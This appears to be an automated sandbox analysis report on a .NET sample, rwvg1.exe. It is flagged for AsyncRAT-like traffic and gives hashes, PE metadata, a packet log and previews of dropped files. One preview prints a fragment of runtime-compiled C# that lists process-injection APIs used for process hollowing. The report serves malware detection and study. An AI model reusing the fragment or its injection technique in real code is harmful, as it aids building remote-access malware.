Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...u.d.n.n.4.k.v.b...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...u.d.n.n.4.k.v.b...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.0.cs

Download File

Process:	C:\Users\user\Desktop\rwvg1.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	4.54611001642782
Encrypted:	false
SSDEEP:	192:2QC2o4mAQgOLocU9wMk2kAt/Z7pu/cuvnzHzrEo6uT:2oYLoH97t/Z7pgjvzf5DT
MD5:	3FA79DECFF8805745CEA8116D9BB2643
SHA1:	92343C5FA2C768B964AE3A4E9136E5D7193E8558
SHA-256:	E6852A401B53A7AF04D57AA1E4FC9621E3DFFC1221534142316A27AE67E8F89C
SHA-512:	5C2879E59FA6609E6E87F70C5237B250A906BF7DD13A343DAC9E81635B1FC91AD9374E643A306B99503C52CE9BD56554A64AA132584C732D43EE39FB17305D78
Malicious:	true
Preview:	.using System;..using System.Diagnostics;..using System.IO;..using System.Net;..using System.Runtime.InteropServices;..using System.Threading.Tasks;....public class ClasserPlus..{.. public static Int16 ConvertToInt16(byte[] value, int startIndex).. {.. return BitConverter.ToInt16(value, startIndex);.. }.... public static Int32 ConvertToInt32(byte[] value, int startIndex).. {.. return BitConverter.ToInt32(value, startIndex);.. }.... public static byte[] ConvertToBytes(int value).. {.. return BitConverter.GetBytes(value);.. }.... public static string[] GetApiNames().. {.. return new string[].. {.. "kernel32",.. "ntdll",.. "ResumeThread",.. "Wow64SetThreadContext",.. "SetThreadContext",.. "Wow64GetThreadContext",.. "GetThreadContext",.. "VirtualAllocEx",.. "WriteProcessMemory",.. "ReadProcessMemory",..

C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.cmdline

Download File

Process:	C:\Users\user\Desktop\rwvg1.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	206
Entropy (8bit):	5.06162774633785
Encrypted:	false
SSDEEP:	6:pAu+H2L/6K2CHhJ23f0k2zxszICHhJ23f0kL:p37L/6KiMk2ZMkL
MD5:	C52AE4A306F742E20F398FB5F4E5AA6A
SHA1:	9370E7C7C4274513D991D0E3743FE999E68193CF
SHA-256:	242F3A87F028E5FAB4667EFBA54476FA57D2C1EAEFBEEBF219041662A4E7C19F
SHA-512:	1E8965931BB392532D44ED441E32E1CD83E5F92F1F2B5C70486EA9B3020BD2BD102163A57A535793B8819B630459115812ABDB9DBF1AA2104E58B4827E65F974
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.0.cs"

C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	4.630730056895246
Encrypted:	false
SSDEEP:	192:kRH6HN4QhfNQ8q8888yYAdPRjOaOUxRa95MqBYoeN45m:vNxNP9Ot+a95MqWS5m
MD5:	F13E25AFCECC6B6715E46BADD1DC207F
SHA1:	62363997ADCFE603B03F2AFD6ED358F5F641CCE6
SHA-256:	CBE6E11FBD234535848499FF28F41D5283767100EA5A359295167293066966A2
SHA-512:	CC9518E4B92DEDFF930F56D7C0C342A896363E535A2C65568D464FA4D5AAF8C2889500DB858A4D1EC7D36DCA2F6BEF236443BB8622E1932623CEA3731C137B2C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....vg...........!.................<... ...@....... ....................................@..................................<..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......$..............@..B.................<......H........%.............................................................."..(...."..(......(.......0..m.................r...p...r...p...r...p...r9..p...re..p...r...p...r...p...r...p...r...p....r...p....r=..p....rg..p.....(......(.........(....(.........*....0..:........e...+X......YE................................................+....+....,..?.+...+...+......X...2...8..............................(....(....}....~....r...pr...p~....~..... ....~.........o3.......-.s....z..<

C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.out

Download File

Process:	C:\Users\user\Desktop\rwvg1.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	705
Entropy (8bit):	5.2393146566281485
Encrypted:	false
SSDEEP:	12:K8/qR37L/6KiMk2ZMkKKaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:KOqdn6Kiw4Kax5DqBVKVrdFAMBJTH
MD5:	E81FEAA5F51A2B742649A951B2C65A16
SHA1:	814868894F6EA193F10BAD11F39E2B5B9F1CAAE1
SHA-256:	CEFAEBA3E07E2A9A28861C2AC8B844594AAD858C938EA33B23413E6B04483627
SHA-512:	FE7643FD578BD2D5AE7907261B875577E883A3BD89971257B66AC06927E86410EB7140A11E722BEA77CD09DDD9B444C8ABE2F016C52FF7116A85FB2FDC6CA377
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	4.116276870135194
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	rwvg1.exe
File size:	35'328 bytes
MD5:	671a477d299131351498b10922fa09d8
SHA1:	1ea4a3836b473bc710f348fade6bb56848279649
SHA256:	2b07a75b74b701d95f6957416959df359f441e7455e933913208891f05c6c9e5
SHA512:	8a4ed69a50806d85d697ac85f57855b1e5a26e0d6282977f75d70823be10cf83490423a1228891230bd2c3359449719dd53c6401d1f64f5649c9d2974257a8fc
SSDEEP:	768:LqI7tV7a1UqeBVYbCU/SReKbLZu7RupMx0AzgL4Vo2TUVd:G837eULG2U0XA0AzC4SrVd
TLSH:	BEF239242CFB901DF173EA725FDDF9FACAAAE265150E70BB108503074B47A85CE52939
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....i............"...0.............z.... ........@.. ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x409f7a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x880E69A1 [Fri May 2 12:18:41 2042 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, byte ptr [eax]
adc byte ptr [eax], al
add byte ptr [eax], al
and byte ptr [eax], al
add byte ptr [eax+00000018h], al
push eax
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add dword ptr [eax], eax
add byte ptr [eax], al
cmp byte ptr [eax], al
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9f28	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa000	0x5d0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xc000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x9f0c	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x7f80	0x8000	acb5ea46a6c905f5b78c13b789af4f9d	False	0.374267578125	data	4.115301435085768	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xa000	0x5d0	0x600	0cad1e0ed26f497a2ed10e22930e0cce	False	0.4212239583333333	data	4.191202529948192	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xc000	0xc	0x200	6b3cc8a76259dd15849744e3fac9eef9	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xa090	0x340	data			0.40865384615384615
RT_MANIFEST	0xa3e0	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-02T19:14:23.810750+0100	2842478	ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)	1	157.20.182.177	4449	192.168.2.8	49705	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 19:14:17.006979942 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.011737108 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.011805058 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.011984110 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.016757011 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.649792910 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.649800062 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.649805069 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.649811029 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.649816036 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.649826050 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.649846077 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.649874926 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.649889946 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.649894953 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.649898052 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.649902105 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.649955988 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.654979944 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.654989004 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.654994965 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.655035019 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.702558994 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.752652884 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.752660036 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.752665997 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.752671003 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.752677917 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.752715111 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.752774954 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.753212929 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.753220081 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.753226995 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.753232002 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.753238916 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.753256083 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.753293037 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.753686905 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.753752947 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.753758907 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.753766060 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.753772020 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.753793955 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.753829956 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.754637957 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.754647970 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.754657030 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.754662037 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.754668951 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.754678011 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.754689932 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.754720926 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.755605936 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.755614042 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.755619049 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.755656958 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.843090057 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.843122005 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.843130112 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.843137980 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.843148947 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.843163013 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.843168974 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.843198061 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.843246937 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.843461037 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.843466043 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.843519926 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.843543053 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.843549967 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.843563080 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.843569040 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.843575954 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.843597889 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.843622923 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.844255924 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.844261885 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.844270945 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.844310045 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.844387054 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.844393969 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.844400883 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.844408035 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.844458103 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.844477892 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.845160007 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.845166922 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.845175982 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.845184088 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.845192909 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.845201015 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.845221043 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.845227957 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.845257998 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.845284939 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.846091986 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.846101999 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.846108913 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.846113920 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.846121073 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.846149921 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.890155077 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.933897972 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.933906078 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.933917999 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.933923960 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.933933973 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.933983088 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.934026957 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.934160948 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.934195995 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.934201002 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.934207916 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.934215069 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.934225082 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.934262037 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.934649944 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.934657097 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.934664011 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.934669971 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.934675932 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.934700012 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.934737921 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.934751987 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.935022116 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.935028076 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.935034990 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.935039997 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.935045958 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.935081959 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.935105085 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.935483932 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.935491085 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.935497999 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.935503006 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.935508966 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.935513973 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.935528040 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.935534000 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.935535908 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.935540915 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.935548067 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.935554028 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.935565948 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.935587883 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.935615063 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.936388969 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.936395884 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.936403036 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.936414003 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.936420918 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.936427116 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.936434031 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.936444044 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.936449051 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.936455965 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.936463118 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.936470032 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.936496973 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.936521053 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.937318087 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.937325001 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.937330961 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.937369108 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.937375069 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.937381983 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.937387943 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.937397003 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.937397003 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.937412977 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.937433958 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.939006090 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.939011097 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.939023972 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.939030886 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.939037085 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.939043045 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.939049006 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.939059019 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.939064026 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.939070940 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.939076900 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.939083099 CET	80	49704	147.45.44.131	192.168.2.8
